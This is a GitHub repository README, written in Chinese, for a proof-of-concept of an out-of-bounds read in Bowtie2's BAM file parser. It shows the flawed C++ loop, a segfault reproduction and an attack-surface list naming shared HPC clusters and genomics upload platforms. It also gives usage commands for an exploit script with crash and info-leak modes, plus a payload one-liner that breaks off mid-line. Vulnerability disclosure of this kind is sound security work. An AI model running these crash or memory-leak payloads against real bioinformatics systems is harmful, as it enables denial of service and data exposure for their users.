jabir-dev/CVE-2026-Bowtie2-OOB
GitHub: jabir-dev/CVE-2026-Bowtie2-OOB
针对 Bowtie2 BAM 文件解析器的越界读取漏洞(CWE-125)概念验证项目,提供漏洞利用脚本和崩溃复现工具。
Stars: 0 | Forks: 0
# CVE-2026-XXXXX: Bowtie2 通过构造的 BAM 导致越界读取
## 概述
| 字段 | 值 |
|-------|-------|
| **产品** | Bowtie2 |
| **供应商** | BenLangmead |
| **版本** | 0 至 2.5.4(所有版本) |
| **类型** | 越界读取 (CWE-125) |
| **CVSS 4.0** | 8.7 高危 |
| **影响** | 拒绝服务 / 信息泄露 |
| **bio.tools** | https://bio.tools/bowtie2 |
## 漏洞详情
```
// pat.cpp:1376-1381
memcpy(&nref, &alignment_batch[0] + i, sizeof(nref));
i += sizeof(nref);
for (uint32_t j = 0; j < nref; j++) { // nref from untrusted file!
uint32_t l_name;
memcpy(&l_name, &alignment_batch[0] + i, sizeof(l_name)); // OOB READ
i = i + sizeof(l_name) + l_name + sizeof(uint32_t); // i grows unbounded
}
```
## 崩溃证据
```
$ bowtie2 -x ref_idx -b crafted.bam --no-head
Segmentation fault (core dumped)
$ echo $?
139
```
## 影响
- **拒绝服务**:通过 SIGSEGV 导致必然崩溃
- **信息泄露**:OOB 读取可能会泄露相邻的堆内存
- **潜在的 RCE**:在特定的堆布局下,通过与写入原语链式结合实现
## 攻击面
1. 处理不受信任的 BAM 文件的**生物信息学流水线**
2. 用户共享 BAM 文件的**共享 HPC 集群**
3. 接受 BAM 上传的**基于 Web 的基因组学平台**
4. 包含 BAM 输入的 **Galaxy Project** 工作流
## 用法
```
# 检查 bowtie2 是否存在漏洞
python3 exploit.py --bt2 ./bowtie2 --index ref_idx --mode check
# 传递 crash payload
python3 exploit.py --bt2 ./bowtie2 --index ref_idx --mode crash
# 信息泄露分析
python3 exploit.py --bt2 ./bowtie2 --index ref_idx --mode info
# 保存 crash BAM 以供手动测试
python3 exploit.py --bt2 ./bowtie2 --index ref_idx --save-bam crash.bam
```
### 快速手动测试
```
python3 -c "
import struct, zlib
bam = b'BAM\x01' + struct.pack('
标签:逆向工具